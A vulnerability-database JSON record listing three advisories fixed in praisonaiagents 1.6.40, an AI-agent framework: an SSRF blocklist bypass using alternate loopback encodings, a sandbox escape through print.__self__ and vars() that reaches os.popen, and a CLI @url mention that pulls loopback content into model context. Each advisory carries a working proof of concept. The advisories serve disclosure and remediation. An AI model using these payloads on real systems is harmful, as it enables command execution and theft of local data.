{"url":"http://public2.vulnerablecode.io/api/packages/119374?format=json","purl":"pkg:pypi/praisonaiagents@1.6.40","type":"pypi","namespace":"","name":"praisonaiagents","version":"1.6.40","qualifiers":{},"subpath":"","is_vulnerable":false,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95342?format=json","vulnerability_id":"VCID-34hh-k13z-jqcv","summary":"PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings\n### Summary\n\nPraisonAI's `spider_tools` URL validation can be bypassed using alternate loopback host encodings.\n\nThe affected component is:\n\n```text\npraisonaiagents/tools/spider_tools.py\n````\n\nThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.\n\nIt does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.\n\nAs a result, URLs such as the following bypass the protection and still reach loopback services:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nAfter the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services.\n\nThis is a server-side request forgery protection bypass.\n\n### Details\n\nThe affected code is in:\n\n```text\npraisonaiagents/tools/spider_tools.py\n```\n\nThe vulnerable flow is:\n\n```text\nattacker-controlled URL\n  -> spider_tools._validate_url(...)\n  -> weak exact-host blocklist check\n  -> validation passes for alternate loopback encodings\n  -> scrape_page(...)\n  -> requests.Session.get(attacker_url)\n  -> loopback service is reached\n```\n\nThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:\n\n```text\nlocalhost\n127.0.0.1\n```\n\nHowever, equivalent loopback forms are not rejected before the request is made.\n\nConfirmed bypass examples:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nThese values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.\n\nThe issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation/fetch path.\n\nThe expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.\n\nThe actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for PraisonAI spider_tools localhost-alias SSRF bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nSPIDER_TOOLS = AGENTS_ROOT / \"praisonaiagents/tools/spider_tools.py\"\n\n\ndef verify_source() -> None:\n    expected = [\n        \"def _validate_url\",\n        \"requests.Session\",\n        \".get(\",\n    ]\n\n    text = SPIDER_TOOLS.read_text(encoding=\"utf-8\")\n    for needle in expected:\n        if needle not in text:\n            raise RuntimeError(f\"source verification failed: {needle!r} not found in {SPIDER_TOOLS}\")\n\n\nclass LocalHandler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"LOCAL-SPIDER-SSRF-SECRET\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not SPIDER_TOOLS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Import the real shipped implementation.\n    #\n    # Depending on the exact public API exposed by spider_tools.py,\n    # use the exported scrape function available in the local version.\n    # The important path is:\n    #\n    #   _validate_url(url)\n    #     -> requests.Session.get(url)\n    #\n    import praisonaiagents.tools.spider_tools as spider_tools\n\n    server = HTTPServer((\"127.0.0.1\", 8765), LocalHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    candidates = [\n        \"http://localhost.:8765/\",\n        \"http://127.1:8765/\",\n        \"http://0177.0.0.1:8765/\",\n        \"http://0x7f000001:8765/\",\n        \"http://2130706433:8765/\",\n    ]\n\n    try:\n        for url in candidates:\n            LocalHandler.hits.clear()\n\n            try:\n                # Prefer the real public scraping API when available.\n                if hasattr(spider_tools, \"scrape_page\"):\n                    result = spider_tools.scrape_page(url)\n                elif hasattr(spider_tools, \"extract_text\"):\n                    result = spider_tools.extract_text(url)\n                elif hasattr(spider_tools, \"crawl\"):\n                    result = spider_tools.crawl(url)\n                else:\n                    raise RuntimeError(\"No expected spider_tools public fetch function found\")\n\n                reached = bool(LocalHandler.hits)\n                contains_secret = \"LOCAL-SPIDER-SSRF-SECRET\" in str(result)\n\n                print(f\"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}\")\n\n                if not reached:\n                    raise SystemExit(f\"[poc] MISS: {url} did not reach loopback server\")\n\n            except Exception as exc:\n                print(f\"{url} blocked_or_failed={type(exc).__name__}: {exc}\")\n                raise\n\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Confirmed local result\n\nThe following bypasses were confirmed locally:\n\n```text\nlocalhost. True ok ok local hit\n127.1 True ok ok local hit\n0177.0.0.1 True ok ok local hit\n0x7f000001 True ok ok local hit\n2130706433 True ok ok local hit\n```\n\nThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.\n\n#### Expected secure behavior\n\nAll loopback-equivalent addresses should be blocked before the HTTP request is made.\n\nExamples that should be rejected:\n\n```text\nhttp://localhost/\nhttp://localhost./\nhttp://127.0.0.1/\nhttp://127.1/\nhttp://0177.0.0.1/\nhttp://0x7f000001/\nhttp://2130706433/\nhttp://[::1]/\n```\n\n#### Actual vulnerable behavior\n\nSeveral alternate loopback representations pass validation and are fetched by the tool.\n\n### Impact\n\nAn attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.\n\nPotential impact includes:\n\n* SSRF against localhost-only admin panels or development servers;\n* access to local HTTP services that are not intended to be reachable remotely;\n* retrieval of local service responses into the agent/tool output;\n* possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.\n\nThe most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.\n\nThis report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.","references":[{"reference_url":"https://github.com/MervinPraison/PraisonAI","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI"},{"reference_url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm"},{"reference_url":"https://github.com/advisories/GHSA-5c6w-wwfq-7qqm","reference_id":"GHSA-5c6w-wwfq-7qqm","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5c6w-wwfq-7qqm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/119374?format=json","purl":"pkg:pypi/praisonaiagents@1.6.40","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/praisonaiagents@1.6.40"}],"aliases":["CVE-2026-47390","GHSA-5c6w-wwfq-7qqm"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-34hh-k13z-jqcv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95353?format=json","vulnerability_id":"VCID-qgbu-4dq7-vyc9","summary":"PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)\n## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` — func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` — func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\\n', 'stderr': '', 'success': True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes |\n| `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes |\n\n**Result: Full sandbox escape → arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n    ...,\n    '__self__',  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution","references":[{"reference_url":"https://github.com/MervinPraison/PraisonAI","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI"},{"reference_url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"},{"reference_url":"https://github.com/advisories/GHSA-4mr5-g6f9-cfrh","reference_id":"GHSA-4mr5-g6f9-cfrh","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-4mr5-g6f9-cfrh"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/119374?format=json","purl":"pkg:pypi/praisonaiagents@1.6.40","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/praisonaiagents@1.6.40"}],"aliases":["CVE-2026-47392","GHSA-4mr5-g6f9-cfrh"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-qgbu-4dq7-vyc9"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95903?format=json","vulnerability_id":"VCID-rjte-bpmr-rudv","summary":"PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context\n### Summary\n\nPraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins.\n\nIf a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.\n\nThere is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.\n\nAs a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.\n\nExample:\n\n```text\n@url:http://localhost.:8766/ summarize this\n````\n\nThis causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.\n\nThis is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.\n\n### Details\n\nThe affected direct-prompt CLI path is in:\n\n```text\nsrc/praisonai/praisonai/cli/main.py\n```\n\nThe CLI imports and instantiates `MentionsParser` on the direct prompt path:\n\n```python\nfrom praisonaiagents.tools.mentions import MentionsParser\n\nparser = MentionsParser(workspace_path=os.getcwd())\n\nif parser.has_mentions(prompt):\n    mention_context, prompt = parser.process(prompt)\n\nif mention_context:\n    prompt = f\"{mention_context}# Task:\\n{prompt}\"\n```\n\nThis means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.\n\nThe affected mention implementation is in:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/mentions.py\n```\n\n`@url:` is a first-class mention type:\n\n```python\nPATTERNS = {\n    \"file\": re.compile(r'@file:([^\\s]+)'),\n    \"web\": re.compile(r'@web:([^\\s]+(?:\\s+[^\\s@]+)*)'),\n    \"doc\": re.compile(r'@doc:([^\\s]+)'),\n    \"rule\": re.compile(r'@rule:([^\\s]+)'),\n    \"url\": re.compile(r'@url:(https?://[^\\s]+)'),\n}\n```\n\nThe URL mention handler performs an unrestricted HTTP request:\n\n```python\nreq = urllib.request.Request(\n    url,\n    headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}\n)\n\nwith urllib.request.urlopen(req, timeout=10) as response:\n    content = response.read().decode('utf-8', errors='ignore')\n```\n\nThere is no validation rejecting:\n\n```text\n127.0.0.1\nlocalhost\nlocalhost.\nprivate RFC1918 addresses\nlink-local addresses\ncloud metadata endpoints\nother local-only HTTP services\n```\n\nThe returned body is added to the generated mention context and then prepended to the prompt.\n\nThe resulting chain is:\n\n```text\nattacker-influenced prompt text\n  -> @url:http://localhost.:8766/\n  -> direct-prompt CLI calls MentionsParser.process(...)\n  -> _process_url_mention(...)\n  -> urllib.request.urlopen(attacker URL)\n  -> loopback HTTP response body is read\n  -> response body is injected into model prompt context\n```\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8766`, passes a prompt containing `@url:http://localhost.:8766/` through the real `MentionsParser.process(...)` implementation, and confirms that the local response body is injected into the generated prompt context.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI CLI @url mention loopback fetch.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nCLI_MAIN = PRAISON_ROOT / \"praisonai/cli/main.py\"\nMENTIONS = AGENTS_ROOT / \"praisonaiagents/tools/mentions.py\"\n\n\ndef verify_source() -> None:\n    expected = {\n        CLI_MAIN: [\n            \"from praisonaiagents.tools.mentions import MentionsParser\",\n            \"if parser.has_mentions(prompt):\",\n            \"mention_context, prompt = parser.process(prompt)\",\n            'prompt = f\"{mention_context}# Task:\\\\n{prompt}\"',\n        ],\n        MENTIONS: [\n            '\"url\": re.compile(r\\'@url:(https?://[^\\\\s]+)\\')',\n            \"def _process_url_mention(self, url: str) -> Optional[str]:\",\n            \"with urllib.request.urlopen(req, timeout=10) as response:\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass _Handler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"<html><body>secret-local-page</body></html>\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not CLI_MAIN.exists() or not MENTIONS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n    from praisonaiagents.tools.mentions import MentionsParser\n\n    _Handler.hits.clear()\n\n    server = HTTPServer((\"127.0.0.1\", 8766), _Handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    try:\n        parser = MentionsParser(workspace_path=\"/tmp\")\n        context, cleaned = parser.process(\"@url:http://localhost.:8766/ summarize this\")\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] cli_path_verified=yes\")\n    print(\"[poc] mention_impl_verified=yes\")\n    print(f\"[poc] cleaned_prompt={cleaned}\")\n    print(f\"[poc] loopback_hit_count={len(_Handler.hits)}\")\n\n    if _Handler.hits:\n        print(f\"[poc] loopback_host={_Handler.hits[0][1]}\")\n\n    print(f\"[poc] context_contains_secret={'secret-local-page' in context}\")\n\n    if cleaned != \"summarize this\":\n        raise SystemExit(f\"[poc] MISS: unexpected cleaned prompt {cleaned!r}\")\n\n    if not _Handler.hits:\n        raise SystemExit(\"[poc] MISS: no loopback HTTP request observed\")\n\n    if \"secret-local-page\" not in context:\n        raise SystemExit(\"[poc] MISS: local response body was not injected into prompt context\")\n\n    print(\"[poc] HIT: @url mention fetched loopback content and injected it into prompt context\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Observed output\n\n```text\n[poc] cli_path_verified=yes\n[poc] mention_impl_verified=yes\n[poc] cleaned_prompt=summarize this\n[poc] loopback_hit_count=1\n[poc] loopback_host=localhost.:8766\n[poc] context_contains_secret=True\n[poc] HIT: @url mention fetched loopback content and injected it into prompt context\n```\n\n#### Expected secure behavior\n\nA prompt-borne `@url:` mention should not be able to read loopback or private-network resources by default.\n\nAt minimum, the following should be rejected before any HTTP request is made:\n\n```text\nhttp://127.0.0.1/\nhttp://localhost/\nhttp://localhost./\nhttp://169.254.169.254/\nprivate RFC1918 addresses\nlink-local addresses\n```\n\n#### Actual vulnerable behavior\n\nThe loopback request succeeds, and the returned local content is inserted into the generated prompt context.\n\n### Impact\n\nAn attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.\n\nPotential impact includes:\n\n* reading localhost-only HTTP resources;\n* reading local dashboards, admin panels, development servers, or internal web services bound to loopback;\n* exposing fetched local content to the model prompt;\n* exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.\n\nThis report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.","references":[{"reference_url":"https://github.com/MervinPraison/PraisonAI","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI"},{"reference_url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5cxw-77wg-jrf3","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5cxw-77wg-jrf3"},{"reference_url":"https://github.com/advisories/GHSA-5cxw-77wg-jrf3","reference_id":"GHSA-5cxw-77wg-jrf3","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5cxw-77wg-jrf3"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/119374?format=json","purl":"pkg:pypi/praisonaiagents@1.6.40","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/praisonaiagents@1.6.40"}],"aliases":["CVE-2026-47395","GHSA-5cxw-77wg-jrf3"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-rjte-bpmr-rudv"}],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/praisonaiagents@1.6.40"}